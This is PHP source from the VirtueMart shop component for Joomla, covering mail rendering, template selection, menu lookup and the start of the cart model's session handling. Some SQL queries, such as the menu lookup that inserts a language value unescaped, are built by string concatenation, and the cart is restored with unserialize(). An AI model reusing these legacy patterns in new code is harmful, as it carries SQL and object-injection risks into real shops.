		if(!class_exists( 'VirtueMartControllerVirtuemart' )) require(JPATH_VM_SITE.DS.'controllers'.DS.'virtuemart.php');
// 		$format = (VmConfig::get('order_html_email',1)) ? 'html' : 'raw';

		$controller = new VirtueMartControllerVirtuemart();
		//Todo, do we need that? refering to http://forum.virtuemart.net/index.php?topic=96318.msg317277#msg317277
		$controller->addViewPath( JPATH_VM_SITE.DS.'views' );

		$view = $controller->getView( $viewName, 'html' );
		if(!$controllerName) $controllerName = $viewName;
		$controllerClassName = 'VirtueMartController'.ucfirst( $controllerName );
		if(!class_exists( $controllerClassName )) require(JPATH_VM_SITE.DS.'controllers'.DS.$controllerName.'.php');

		//Todo, do we need that? refering to http://forum.virtuemart.net/index.php?topic=96318.msg317277#msg317277
		$view->addTemplatePath( JPATH_VM_SITE.'/views/'.$viewName.'/tmpl' );

		$template = self::loadVmTemplateStyle();

		if($template) {
			$view->addTemplatePath( JPATH_ROOT.DS.'templates'.DS.$template.DS.'html'.DS.'com_virtuemart'.DS.$viewName );
		}

		foreach( $vars as $key => $val ) {
			$view->$key = $val;
		}

		$user = FALSE;
		if(isset($vars['orderDetails'])){

			//If the JRequest is there, the update is done by the order list view BE and so the checkbox does override the defaults.
			//$name = 'orders['.$order['details']['BT']->virtuemart_order_id.'][customer_notified]';
			//$customer_notified = JRequest::getVar($name,-1);
			if(!$useDefault and isset($vars['newOrderData']['customer_notified']) and $vars['newOrderData']['customer_notified']==1 ){
				$user = self::sendVmMail( $view, $recipient, $noVendorMail );
				vmdebug('renderMail by overwrite');
			} else {
				$orderstatusForShopperEmail = VmConfig::get('email_os_s',array('U','C','S','R','X'));
				if(!is_array($orderstatusForShopperEmail)) $orderstatusForShopperEmail = array($orderstatusForShopperEmail);
				if ( in_array((string) $vars['orderDetails']['details']['BT']->order_status,$orderstatusForShopperEmail) ){
					$user = self::sendVmMail( $view, $recipient, $noVendorMail );
					vmdebug('renderMail by default');
				} else{
					$user = -1;
				}
			}

		} else {
			$user = self::sendVmMail( $view, $recipient, $noVendorMail );
		}

		if(isset($view->doVendor) && !$noVendorMail) {
			if(isset($vars['orderDetails'])){
				$order = $vars['orderDetails'];
				$orderstatusForVendorEmail = VmConfig::get('email_os_v',array('U','C','R','X'));
				if(!is_array($orderstatusForVendorEmail)) $orderstatusForVendorEmail = array($orderstatusForVendorEmail);
				if ( in_array((string)$order['details']['BT']->order_status,$orderstatusForVendorEmail)){
					self::sendVmMail( $view, $view->vendorEmail, TRUE );
				}else{
					$user = -1;
				}
			} else {
				self::sendVmMail( $view, $view->vendorEmail, TRUE );
			}

		}

		return $user;

	}

	public static function loadVmTemplateStyle(){
		$vmtemplate = VmConfig::get( 'vmtemplate', 0 );
		if(!empty($vmtemplate) and is_numeric($vmtemplate)) {
			$db = JFactory::getDbo();
			$query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$vmtemplate.'" ';
			$db->setQuery($query);
			$res = $db->loadAssoc();
			if($res){
				$registry = new JRegistry;
				$registry->loadString($res['params']);
				$template = $res['template'];
			} else {
				$err = 'The selected vmtemplate is not existing';
				vmError( 'renderMail get Template failed: '.$err );
			}
		} else {
			if(JVM_VERSION == 2) {
				$q = 'SELECT `template` FROM `#__template_styles` WHERE `client_id`="0" AND `home`="1"';
			} else {
				$q = 'SELECT `template` FROM `#__templates_menu` WHERE `client_id`="0" AND `menuid`="0"';
			}
			$db = JFactory::getDbo();
			$db->setQuery( $q );
			$template = $db->loadResult();
			if(!$template){
				$err = 'Could not load default template style';
				vmError( 'renderMail get Template failed: '.$err );
			}

		}

		return $template;
	}

	/**
	 * With this function you can use a view to sent it by email.
	 * Just use a task in a controller
	 *
	 * @param string $view for example user, cart
	 * @param string $recipient shopper@whatever.com
	 * @param bool $vendor true for notifying vendor of user action (e.g. registration)
	 */

	private static function sendVmMail (&$view, $recipient, $noVendorMail = FALSE) {

		VmConfig::ensureMemoryLimit(96);

		VmConfig::loadJLang('com_virtuemart',true);

		if(!empty($view->orderDetails['details']['BT']->order_language)) {
			//$jlang->load( 'com_virtuemart', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true );
			//$jlang->load( 'com_virtuemart_shoppers', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true );
			//$jlang->load( 'com_virtuemart_orders', JPATH_SITE, $view->orderDetails['details']['BT']->order_language, true );
			VmConfig::loadJLang('com_virtuemart',true,$view->orderDetails['details']['BT']->order_language);
			VmConfig::loadJLang('com_virtuemart_shoppers',TRUE,$view->orderDetails['details']['BT']->order_language);
			VmConfig::loadJLang('com_virtuemart_orders',TRUE,$view->orderDetails['details']['BT']->order_language);
		} else {
			VmConfig::loadJLang('com_virtuemart_shoppers',TRUE);
			VmConfig::loadJLang('com_virtuemart_orders',TRUE);
		}

		ob_start();
		$view->renderMailLayout( $noVendorMail, $recipient );
		$body = ob_get_contents();
		ob_end_clean();

		$subject = (isset($view->subject)) ? $view->subject : JText::_( 'COM_VIRTUEMART_DEFAULT_MESSAGE_SUBJECT' );
		$mailer = JFactory::getMailer();
		$mailer->addRecipient( $recipient );
		$mailer->setSubject(  html_entity_decode( $subject) );
		$mailer->isHTML( VmConfig::get( 'order_mail_html', TRUE ) );
		$mailer->setBody( $body );

		if(!$noVendorMail) {
			$replyTo[0] = $view->vendorEmail;
			$replyTo[1] = $view->vendor->vendor_name;
			$mailer->addReplyTo( $replyTo );
		} else {
			$replyTo[0] = $view->orderDetails['details']['BT']->email;
			$replyTo[1] = $view->orderDetails['details']['BT']->first_name.' '.$view->orderDetails['details']['BT']->last_name;
			$mailer->addReplyTo( $replyTo );
		}
		/*	if (isset($view->replyTo)) {
				 $mailer->addReplyTo($view->replyTo);
			 }*/

		if(isset($view->mediaToSend)) {
			foreach( (array)$view->mediaToSend as $media ) {
				$mailer->addAttachment( $media );
			}
		}

		// set proper sender
		$sender = array();
		if(!empty($view->vendorEmail) and VmConfig::get( 'useVendorEmail', 0 )) {
			$sender[0] = $view->vendorEmail;
			$sender[1] = $view->vendor->vendor_name;
		} else {
			// use default joomla's mail sender
			$app = JFactory::getApplication();
			$sender[0] = $app->getCfg( 'mailfrom' );
			$sender[1] = $app->getCfg( 'fromname' );
			if(empty($sender[0])){
				$config = JFactory::getConfig();
				$sender = array( $config->getValue( 'config.mailfrom' ), $config->getValue( 'config.fromname' ) );
			}
		}
		$mailer->setSender( $sender );

		return $mailer->Send();
	}


	/**
	 * This function sets the right template on the view
	 * @author Max Milbers
	 */
	static function setVmTemplate ($view, $catTpl = 0, $prodTpl = 0, $catLayout = 0, $prodLayout = 0) {

		//Lets get here the template set in the shopconfig, if there is nothing set, get the joomla standard
		$template = VmConfig::get( 'vmtemplate', 0 );
		$db = JFactory::getDBO();
		//Set specific category template
		if(!empty($catTpl) && empty($prodTpl)) {
			if(is_Int( $catTpl )) {
				$q = 'SELECT `category_template` FROM `#__virtuemart_categories` WHERE `virtuemart_category_id` = "'.(int)$catTpl.'" ';
				$db->setQuery( $q );
				$temp = $db->loadResult();
				if(!empty($temp)) $template = $temp;
			} else {
				$template = $catTpl;
			}
		}

		//Set specific product template
		if(!empty($prodTpl)) {
			if(is_Int( $prodTpl )) {
				$q = 'SELECT `product_template` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` = "'.(int)$prodTpl.'" ';
				$db->setQuery( $q );
				$temp = $db->loadResult();
				if(!empty($temp)) $template = $temp;
			} else {
				$template = $prodTpl;
			}
		}

		shopFunctionsF::setTemplate( $template );

		//Lets get here the layout set in the shopconfig, if there is nothing set, get the joomla standard
		if(JRequest::getWord( 'view' ) == 'virtuemart') {
			$layout = VmConfig::get( 'vmlayout', 'default' );
			$view->setLayout( strtolower( $layout ) );
		} else {

			if(empty($catLayout) and empty($prodLayout)) {
				$catLayout = VmConfig::get( 'productlayout', 'default' );
			}

			//Set specific category layout
			if(!empty($catLayout) && empty($prodLayout)) {
				if(is_Int( $catLayout )) {
					$q = 'SELECT `layout` FROM `#__virtuemart_categories` WHERE `virtuemart_category_id` = "'.(int)$catLayout.'" ';
					$db->setQuery( $q );
					$temp = $db->loadResult();
					if(!empty($temp)) $layout = $temp;
				} else {
					$layout = $catLayout;
				}
			}

			//Set specific product layout
			if(!empty($prodLayout)) {
				if(is_Int( $prodLayout )) {
					$q = 'SELECT `layout` FROM `#__virtuemart_products` WHERE `virtuemart_product_id` = "'.(int)$prodLayout.'" ';
					$db->setQuery( $q );
					$temp = $db->loadResult();
					if(!empty($temp)) $layout = $temp;
				} else {
					$layout = $prodLayout;
				}
			}

		}

		if(!empty($layout)) {
			$view->setLayout( strtolower( $layout ) );
		}


	}

	function sendRatingEmailToVendor ($data) {
		if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php');

		$vars = array();
		$productModel = VmModel::getModel ('product');
		$product = $productModel->getProduct ($data['virtuemart_product_id']);
		$vars['subject'] = JText::sprintf('COM_VIRTUEMART_RATING_EMAIL_SUBJECT', $product->product_name);
		$vars['mailbody'] = JText::sprintf('COM_VIRTUEMART_RATING_EMAIL_BODY', $product->product_name);

		$vendorModel = VmModel::getModel ('vendor');
		$vendor = $vendorModel->getVendor ($product->virtuemart_vendor_id);
		$vendorModel->addImages ($vendor);
		$vars['vendor'] = $vendor;
		$vars['vendorEmail'] = $vendorModel->getVendorEmail ($product->virtuemart_vendor_id);

		if (!class_exists ('shopFunctions')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctions.php');
		$vars['vendorAddress'] = shopFunctions::renderVendorAddress ($product->virtuemart_vendor_id);

		//$orderModel = VmModel::getModel ('orders');
	    shopFunctionsF::renderMail ('productdetails', $vars['vendorEmail'], $vars, 'productdetails', TRUE);

	}

	/**
	 * Final setting of template
	 *
	 * @author Max Milbers
	 */
	static function setTemplate ($template) {

		if(!empty($template) && $template != 'default') {

			$app = JFactory::getApplication( 'site' );
			if(JVM_VERSION === 1){
				if(is_dir( JPATH_THEMES.DS.$template )) {
					$app->set( 'setTemplate', $template );
				} else {
					JError::raiseWarning( 412, 'The chosen template couldnt find on the filesystem: '.$template );
				}

			} else {

				$registry = null;
				if(is_numeric($template)){
					$db = JFactory::getDbo();
					$query = 'SELECT `template`,`params` FROM `#__template_styles` WHERE `id`="'.$template.'" ';
					$db->setQuery($query);
					$res = $db->loadAssoc();
					if($res){
						$registry = new JRegistry;
						$registry->loadString($res['params']);
						$template = $res['template'];
					}
				} else {
					vmAdminInfo('Your template settings are old, please check your template settings in the vm config and in your categories');
					vmdebug('Your template settings are old, please check your template settings in the vm config and in your categories');
				}
				if(is_dir( JPATH_THEMES.DS.$template )) {
					$app->setTemplate($template,$registry);
				} else {
					JError::raiseWarning( 412, 'The chosen template couldnt find on the filesystem: '.$template );
				}
			}
		}

		return $template;
	}

	/**
	 *
	 * Enter description here ...
	 * @author Max Milbers
	 * @author Iysov
	 * @param string $string
	 * @param int $maxlength
	 * @param string $suffix
	 */
	static public function limitStringByWord ($string, $maxlength, $suffix = '') {

		if(function_exists( 'mb_strlen' )) {
			// use multibyte functions by Iysov
			if(mb_strlen( $string )<=$maxlength) return $string;
			$string = mb_substr( $string, 0, $maxlength );
			$index = mb_strrpos( $string, ' ' );
			if($index === FALSE) {
				return $string;
			} else {
				return mb_substr( $string, 0, $index ).$suffix;
			}
		} else { // original code here
			if(strlen( $string )<=$maxlength) return $string;
			$string = substr( $string, 0, $maxlength );
			$index = strrpos( $string, ' ' );
			if($index === FALSE) {
				return $string;
			} else {
				return substr( $string, 0, $index ).$suffix;
			}
		}
	}

	/**
	 * Admin UI Tabs
	 * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design
	 * @param $load_template = a key => value array. key = template name, value = Language File contraction
	 * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB'
	 */
	static function buildTabs ($view, $load_template = array()) {

		vmJsApi::js( 'vmtabs' );
		$html = '<div id="ui-tabs">';
		$i = 1;
		foreach( $load_template as $tab_content => $tab_title ) {
			$html .= '<div id="tab-'.$i.'" class="tabs" title="'.JText::_( $tab_title ).'">';
			$html .= $view->loadTemplate( $tab_content );
			$html .= '<div class="clear"></div>
			    </div>';
			$i++;
		}
		$html .= '</div>';
		echo $html;
	}



	static function getComUserOption () {

		if(JVM_VERSION === 1) {
			return 'com_user';
		} else {
			return 'com_users';
		}
	}

	/**
	 * Checks if Joomla language keys exist and combines it according to existing keys.
	 * @string $pkey : primary string to search for Language key (must have %s in the string to work)
	 * @string $skey : secondary string to search for Language key
	 * @return string
	 * @author Max Milbers
	 * @author Patrick Kohl
	 */
	static function translateTwoLangKeys ($pkey, $skey) {

		$upper = strtoupper( $pkey ).'_2STRINGS';
		if(JText::_( $upper ) !== $upper) {
			return JText::sprintf( $upper, JText::_( $skey ) );
		} else {
			return JText::_( $pkey ).' '.JText::_( $skey );
		}
	}

	/**
	 * Writes a PDF icon
	 * @author Patrick Kohl
	 * @param string $link
	 * @param boolean $use_icon
	 * @deprecated
	 */
	function PdfIcon ($link, $use_icon = TRUE, $modal = TRUE) {

		return VmView::linkIcon( $link, 'COM_VIRTUEMART_PDF', 'pdf_button', 'pdf_button_enable', $modal, $use_icon );

	}

	/**
	 * Writes an Email icon
	 * @author Patrick Kohl
	 * @param string $link
	 * @param boolean $use_icon
	 * @deprecated
	 */
	function EmailIcon ($virtuemart_product_id, $use_icon, $modal) {

		if($virtuemart_product_id>0) {
			$link = 'index.php?option=com_virtuemart&view=productdetails&task=recommend&virtuemart_product_id='.$virtuemart_product_id.'&tmpl=component';
			return VmView::linkIcon( $link, 'COM_VIRTUEMART_EMAIL', 'emailButton', 'show_emailfriend', $modal, $use_icon );
		}
	}

	/**
	 * @author RolandD, Christopher Roussel
	 *
	 * @deprecated
	 */
	function PrintIcon ($link = '', $use_icon = TRUE, $add_text = '') {

		if(VmConfig::get( 'show_printicon', 1 ) == '1') {

			$folder = (JVM_VERSION === 1) ? '/images/M_images/' : '/media/system/images/';

			// checks template image directory for image, if non found default are loaded
			if($use_icon) {
				$filter = JFilterInput::getInstance();
				$text = JHtml::_( 'image.site', 'printButton.png', $folder, NULL, NULL, JText::_( 'COM_VIRTUEMART_PRINT' ) );
				$text .= $filter->clean( $add_text );
			} else {
				$text = '|&nbsp;'.JText::_( 'COM_VIRTUEMART_PRINT' ).'&nbsp;|';
			}
			$isPopup = JRequest::getVar( 'pop' );
			if($isPopup) {
				// Print Preview button - used when viewing page
				$html = '<span class="vmNoPrint">
					<a href="javascript:void(0)" onclick="javascript:window.print(); return false;" title="'.JText::_( 'COM_VIRTUEMART_PRINT' ).'" rel="nofollow">
					'.$text.'
					</a></span>';
				return $html;
			} else {
				// Print Button - used in pop-up window
				return self::vmPopupLink( $link, $text, 640, 480, '_blank', JText::_( 'COM_VIRTUEMART_PRINT' ) );
			}
		}

	}
	
	/**
	 * Get Virtuemart itemID from joomla menu
	 * @author Maik K�nnemann
	 */
	static function getMenuItemId( $lang = '*' ) {

		$itemID = '';

		if(empty($lang)) $lang = '*';

		$component	= JComponentHelper::getComponent('com_virtuemart');

		$db = JFactory::getDbo();
		$q = 'SELECT * FROM `#__menu` WHERE `component_id` = "'. $component->id .'" and `language` = "'. $lang .'"';
		$db->setQuery( $q );
		$items = $db->loadObjectList();
		if(empty($items)) {
			$q = 'SELECT * FROM `#__menu` WHERE `component_id` = "'. $component->id .'" and `language` = "*"';
			$db->setQuery( $q );
			$items = $db->loadObjectList();
		}

		foreach ($items as $item) {
			if(strstr($item->link, 'view=virtuemart')) {
				$itemID = $item->id;
				break;
			}
		}

		if(empty($itemID) && !empty($items[0]->id)) {
			$itemID = $items[0]->id;
		}

		return $itemID;
	}

	static function triggerContentPlugin(  &$article, $context, $field) {
	// add content plugin //
		$dispatcher =   JDispatcher::getInstance ();
		JPluginHelper::importPlugin ('content');
		$article->text = $article->$field;
		jimport ('joomla.html.parameter');
		$params = new JParameter('');

		if (JVM_VERSION === 2) {
			if (!isset($article->event)) {
				$article->event = new stdClass();
			}
			$results = $dispatcher->trigger ('onContentPrepare', array('com_virtuemart.'.$context, &$article, &$params, 0));
			// More events for 3rd party content plugins
			// This do not disturb actual plugins, because we don't modify $vendor->text
			$res = $dispatcher->trigger ('onContentAfterTitle', array('com_virtuemart.'.$context, &$article, &$params, 0));
			$article->event->afterDisplayTitle = trim (implode ("\n", $res));

			$res = $dispatcher->trigger ('onContentBeforeDisplay', array('com_virtuemart.'.$context, &$article, &$params, 0));
			$article->event->beforeDisplayContent = trim (implode ("\n", $res));

			$res = $dispatcher->trigger ('onContentAfterDisplay', array('com_virtuemart.'.$context, &$article, &$params, 0));
			$article->event->afterDisplayContent = trim (implode ("\n", $res));
		} else {
			$results = $dispatcher->trigger ('onPrepareContent', array(& $article, & $params, 0));
		}
		$article->$field = $article->text;
	}
	static public function mask_string($cc, $mask_char='X')
	{
		return str_pad(substr($cc, -4), strlen($cc), $mask_char, STR_PAD_LEFT);
	}
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/**
 *
 * Category model for the cart
 *
 * @package	VirtueMart
 * @subpackage Cart
 * @author RolandD
 * @author Max Milbers
 * @link http://www.virtuemart.net
 * @copyright Copyright (c) 2004 - 2013 VirtueMart Team. All rights reserved.
 * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
 * VirtueMart is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses.
 * @version $Id: cart.php 6557 2012-10-17 19:16:22Z Milbo $
 */
// Check to ensure this file is included in Joomla!
defined('_JEXEC') or die('Restricted access');


/**
 * Model class for the cart
 * Very important, use ALWAYS the getCart function, to get the cart from the session
 * @package	VirtueMart
 * @subpackage Cart
 * @author Max Milbers
 */
class VirtueMartCart {

	//	var $productIds = array();
	var $products = array();
	var $_inCheckOut = false;
	var $_dataValidated = false;
	var $_blockConfirm = false;
	var $_confirmDone = false;
	var $_redirect = false;
	var $_redirect_disabled = false;
	var $_lastError = null; // Used to pass errmsg to the cart using addJS()
	//todo multivendor stuff must be set in the add function, first product determines ownership of cart, or a fixed vendor is used
	var $vendorId = 1;
	var $lastVisitedCategoryId = 0;
	var $virtuemart_shipmentmethod_id = 0;
	var $virtuemart_paymentmethod_id = 0;
	var $automaticSelectedShipment = false;
	var $automaticSelectedPayment  = false;
	var $BT = 0;
	var $ST = 0;
	var $tosAccepted = null;
	var $customer_comment = '';
	var $couponCode = '';
	var $order_language = '';
	var $cartData = null;
	var $lists = null;
	var $order_number=null; // added to solve emptying cart for payment notification
	var $customer_number=null;
	// 	var $user = null;
// 	var $prices = null;
	var $pricesUnformatted = null;
	var $pricesCurrency = null;
	var $paymentCurrency = null;
	var $STsameAsBT = TRUE;
	var $productParentOrderable = TRUE;
	var $_triesValidateCoupon = array();

	private static $_cart = null;

	var $useSSL = 1;
	// 	static $first = true;

	private function __construct() {
		$this->useSSL = VmConfig::get('useSSL',0);
		$this->useXHTML = false;
	}

	/**
	 *
	 * @author Max Milbers
	 * @param bool  $setCart: set the Cart into Session
	 * @param array $options : options for getSession
	 * @param null  $cartData: if not empty, do no get the cart data from session
	 * @return null|VirtueMartCart
	 */
	public static function getCart($setCart=true, $options = array(), $cartData=NULL) {

		//What does this here? for json stuff?
		if (!class_exists('JTable')
		)require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'database' . DS . 'table.php');
// 		JTable::addIncludePath(JPATH_VM_ADMINISTRATOR . DS . 'tables');

		if(empty(self::$_cart)){
			if (empty($cartData)) {
				$session = JFactory::getSession($options);
				$cartSession = $session->get('vmcart', 0, 'vm');
			} else {
				$cartSession=$cartData;
			}

			if (!empty($cartSession)) {
				$sessionCart = unserialize( $cartSession );

				self::$_cart = new VirtueMartCart;

				self::$_cart->products = $sessionCart->products;
				self::$_cart->vendorId	 							= $sessionCart->vendorId;
				self::$_cart->lastVisitedCategoryId	 			= $sessionCart->lastVisitedCategoryId;
				self::$_cart->virtuemart_shipmentmethod_id	= $sessionCart->virtuemart_shipmentmethod_id;
				self::$_cart->virtuemart_paymentmethod_id 	= $sessionCart->virtuemart_paymentmethod_id;
				self::$_cart->automaticSelectedShipment 		= $sessionCart->automaticSelectedShipment;
				self::$_cart->automaticSelectedPayment 		= $sessionCart->automaticSelectedPayment;
				self::$_cart->BT 										= $sessionCart->BT;
				self::$_cart->ST 										= $sessionCart->ST;
				self::$_cart->tosAccepted 							= $sessionCart->tosAccepted;
				self::$_cart->customer_comment 					= base64_decode($sessionCart->customer_comment);
				self::$_cart->couponCode 							= $sessionCart->couponCode;
				self::$_cart->_triesValidateCoupon					= $sessionCart->_triesValidateCoupon;
				self::$_cart->order_language 						= $sessionCart->order_language;
				self::$_cart->cartData 								= $sessionCart->cartData;
				self::$_cart->order_number							= $sessionCart->order_number;
				self::$_cart->lists 									= $sessionCart->lists;

				//self::$_cart->pricesUnformatted					= $sessionCart->pricesUnformatted;
				self::$_cart->pricesCurrency						= $sessionCart->pricesCurrency;
				self::$_cart->paymentCurrency						= $sessionCart->paymentCurrency;

				self::$_cart->_inCheckOut 							= $sessionCart->_inCheckOut;
				self::$_cart->_dataValidated						= $sessionCart->_dataValidated;
				self::$_cart->_confirmDone							= $sessionCart->_confirmDone;
				self::$_cart->STsameAsBT							= $sessionCart->STsameAsBT;
				self::$_cart->customer_number						= $sessionCart->customer_number;
			}

		}

		if(empty(self::$_cart)){
			self::$_cart = new VirtueMartCart;
		}

		if ( $setCart == true ) {
			self::$_cart->setPreferred();
			self::$_cart->setCartIntoSession();
		}

		return self::$_cart;
	}



	/*
	 * Set non product info in object
	*/
	public function setPreferred() {

		$userModel = VmModel::getModel('user');
		$user = $userModel->getCurrentUser();

		if (empty($this->BT) || (!empty($this->BT) && count($this->BT) <=1) ) {
			foreach ($user->userInfo as $address) {
				if ($address->address_type == 'BT') {
					$this->saveAddressInCart((array) $address, $address->address_type,false);
				}
			}
		}

		if (empty($this->virtuemart_shipmentmethod_id) && !empty($user->virtuemart_shipmentmethod_id)) {
			$this->virtuemart_shipmentmethod_id = $user->virtuemart_shipmentmethod_id;
		}

		if (empty($this->virtuemart_paymentmethod_id) && !empty($user->virtuemart_paymentmethod_id)) {
			$this->virtuemart_paymentmethod_id = $user->virtuemart_paymentmethod_id;
		}

		//$this->tosAccepted is due session stuff always set to 0, so testing for null does not work
		if((!empty($user->agreed) || !empty($this->BT['agreed'])) && !VmConfig::get('agree_to_tos_onorder',0) ){
				$this->tosAccepted = 1;
		}

		//if(empty($this->customer_number) or ($user->virtuemart_user_id!=0 and strpos($this->customer_number,'nonreg_')!==FALSE ) ){
		if($user->virtuemart_user_id!=0 and empty($this->customer_number) or strpos($this->customer_number,'nonreg_')!==FALSE){
			$this->customer_number = $userModel ->getCustomerNumberById();
		}

		if(empty($this->customer_number) or strpos($this->customer_number,'nonreg_')!==FALSE){
			$firstName = empty($this->BT['first_name'])? '':$this->BT['first_name'];
			$lastName = empty($this->BT['last_name'])? '':$this->BT['last_name'];
			$email = empty($this->BT['email'])? '':$this->BT['email'];
			$this->customer_number = 'nonreg_'.$firstName.$lastName.$email;
		}

	}

	/**
	 * Set the cart in the session
	 *
	 * @author RolandD
	 *
	 * @access public
	 */
	public function setCartIntoSession() {

		$session = JFactory::getSession();

		$sessionCart = new stdClass();

		$products = array();
		if ($this->products) {
			foreach($this->products as $key =>$product){

				//Important DO NOT UNSET product_price
				//unset($product->product_price);
				//unset($product->prices);
				unset($product->pricesUnformatted);
				unset($product->mf_name);
				unset($product->mf_desc);
				unset($product->mf_url);

				unset($product->salesPrice);
				unset($product->basePriceWithTax);
				unset($product->subtotal);
				unset($product->subtotal_with_tax);
				unset($product->subtotal_tax_amount);
				unset($product->subtotal_discount);

				unset($product->product_price_vdate);
				unset($product->product_price_edate);
			}
		}
		// 		$sessionCart->products = $products;
		$sessionCart->products = $this->products;
		// 		echo '<pre>'.print_r($products,1).'</pre>';die;
		$sessionCart->vendorId	 							= $this->vendorId;
		$sessionCart->lastVisitedCategoryId	 			= $this->lastVisitedCategoryId;
		$sessionCart->virtuemart_shipmentmethod_id	= $this->virtuemart_shipmentmethod_id;
		$sessionCart->virtuemart_paymentmethod_id 	= $this->virtuemart_paymentmethod_id;
		$sessionCart->automaticSelectedShipment 		= $this->automaticSelectedShipment;
		$sessionCart->automaticSelectedPayment 		= $this->automaticSelectedPayment;
		$sessionCart->order_number 		            = $this->order_number;

		$sessionCart->BT 										= $this->BT;
		$sessionCart->ST 										= $this->ST;
		$sessionCart->tosAccepted 							= $this->tosAccepted;
		$sessionCart->customer_comment 					= base64_encode($this->customer_comment);
		$sessionCart->couponCode 							= $this->couponCode;
		$sessionCart->_triesValidateCoupon				= $this->_triesValidateCoupon;
		$sessionCart->order_language 						= $this->order_language;
		$sessionCart->cartData 								= $this->cartData;
		$sessionCart->lists 									= $this->lists;
		// 		$sessionCart->user 									= $this->user;
// 		$sessionCart->prices 								= $this->prices;
		//$sessionCart->pricesUnformatted					= $this->pricesUnformatted;
		$sessionCart->pricesCurrency						= $this->pricesCurrency;
		$sessionCart->paymentCurrency						= $this->paymentCurrency;

		//private variables
		$sessionCart->_inCheckOut 							= $this->_inCheckOut;
		$sessionCart->_dataValidated						= $this->_dataValidated;
		$sessionCart->_confirmDone							= $this->_confirmDone;
		$sessionCart->STsameAsBT							= $this->STsameAsBT;
		$sessionCart->customer_number						= $this->customer_number;

		if(!empty($sessionCart->pricesUnformatted)){
			foreach($sessionCart->pricesUnformatted as &$prices){
				if(is_array($prices)){
					foreach($prices as &$price){
						if(!is_array($price)){
							$price = (string)$price;
						}
					}
				} else {
					$prices = (string)$prices;
				}
			}
		}

// 		$pr = serialize($sessionCart->pricesUnformatted);
// 		vmdebug('$sessionCart',$sessionCart);
		$session->set('vmcart', serialize($sessionCart),'vm');

	}

	/**
	 * Remove the cart from the session
	 *
	 * @author Max Milbers
	 * @access public
	 */
	public function removeCartFromSession() {
		$session = JFactory::getSession();
		$session->set('vmcart', 0, 'vm');
	}

	public function setDataValidation($valid=false) {
		$this->_dataValidated = $valid;
		// 		$this->setCartIntoSession();
	}

	public function getDataValidated() {
		return $this->_dataValidated;
	}

	public function getInCheckOut() {
		return $this->_inCheckOut;
	}

	public function setOutOfCheckout(){
		$this->_inCheckOut = false;
		$this->_dataValidated = false;
		$this->setCartIntoSession();
	}

	public function blockConfirm(){
		$this->_blockConfirm = true;
	}

	/**
	 * Set the last error that occured.
	 * This is used on error to pass back to the cart when addJS() is invoked.
	 * @param string $txt Error message
	 * @author Oscar van Eijk
	 */
	private function setError($txt) {
		$this->_lastError = $txt;
	}

	/**
	 * Retrieve the last error message
	 * @return string The last error message that occured
	 * @author Oscar van Eijk
	 */
	public function getError() {
		return ($this->_lastError);
	}

	/**
	 * For one page checkouts, disable with this the redirects
	 * @param bool $bool
	 */
	public function setRedirectDisabled($bool = TRUE){
		$this->_redirect_disabled = $bool;
	}
	/**
	 * Add a product to the cart
	 *
	 * @author RolandD
	 * @author Max Milbers
	 * @access public
	 */
	public function add($virtuemart_product_ids=null,&$errorMsg='') {
		$mainframe = JFactory::getApplication();
		$success = false;
		$post = JRequest::get('default');

		if(empty($virtuemart_product_ids)){
			$virtuemart_product_ids = JRequest::getVar('virtuemart_product_id', array(), 'default', 'array'); //is sanitized then
		}

		if (empty($virtuemart_product_ids)) {
			$mainframe->enqueueMessage(JText::_('COM_VIRTUEMART_CART_ERROR_NO_PRODUCT_IDS', false));
			return false;
		}

		$pModel = VmModel::getModel('product');
		$products = array();

		//Iterate through the prod_id's and perform an add to cart for each one
		foreach ($virtuemart_product_ids as $p_key => $virtuemart_product_id) {

			$quantityPost = (int) $post['quantity'][$p_key];

			if($quantityPost === 0) continue;

			$tmpProduct = $pModel->getProduct($virtuemart_product_id, true, false,true,$quantityPost);
			$products[] = $tmpProduct;

			if ( VmConfig::get('oncheckout_show_images')){
				$pModel->addImages($tmpProduct,1);
			}


			// trying to save some space in the session table
			$product = new stdClass();
			$product -> virtuemart_manufacturer_id = $tmpProduct -> virtuemart_manufacturer_id;
// 			$product -> mf_name = $tmpProduct -> mf_name;
			$product -> slug = $tmpProduct -> slug;
// 			$product -> mf_desc = $tmpProduct -> mf_desc;
// 			$product -> mf_url = $tmpProduct -> mf_url;
			$product -> published = $tmpProduct -> published;

			$product -> virtuemart_product_price_id = $tmpProduct -> virtuemart_product_price_id;
			$product -> virtuemart_product_id = $tmpProduct -> virtuemart_product_id;
			$product -> virtuemart_shoppergroup_id = $tmpProduct -> virtuemart_shoppergroup_id;
			$product -> product_price = $tmpProduct -> product_price;
			$product -> override = $tmpProduct -> override;
			$product -> product_override_price = $tmpProduct -> product_override_price;

			$product -> product_tax_id = $tmpProduct -> product_tax_id;
			$product -> product_discount_id = $tmpProduct -> product_discount_id;
			$product -> product_currency = $tmpProduct -> product_currency;
// 			$product -> product_price_vdate = $tmpProduct -> product_price_vdate;
// 			$product -> product_price_edate = $tmpProduct -> product_price_edate;
			$product -> virtuemart_vendor_id = $tmpProduct -> virtuemart_vendor_id;
			$product -> product_parent_id = $tmpProduct -> product_parent_id;
			$product -> product_sku = $tmpProduct -> product_sku;
			$product -> product_name = $tmpProduct -> product_name;
			$product -> product_s_desc = $tmpProduct -> product_s_desc;

			$product -> product_weight = $tmpProduct -> product_weight;
			$product -> product_weight_uom = $tmpProduct -> product_weight_uom;
			$product -> product_length = $tmpProduct -> product_length;
			$product -> product_width = $tmpProduct -> product_width;
			$product -> product_height = $tmpProduct -> product_height;
			$product -> product_lwh_uom = $tmpProduct -> product_lwh_uom;

			$product -> product_in_stock = $tmpProduct -> product_in_stock;
			$product -> product_ordered = $tmpProduct -> product_ordered;
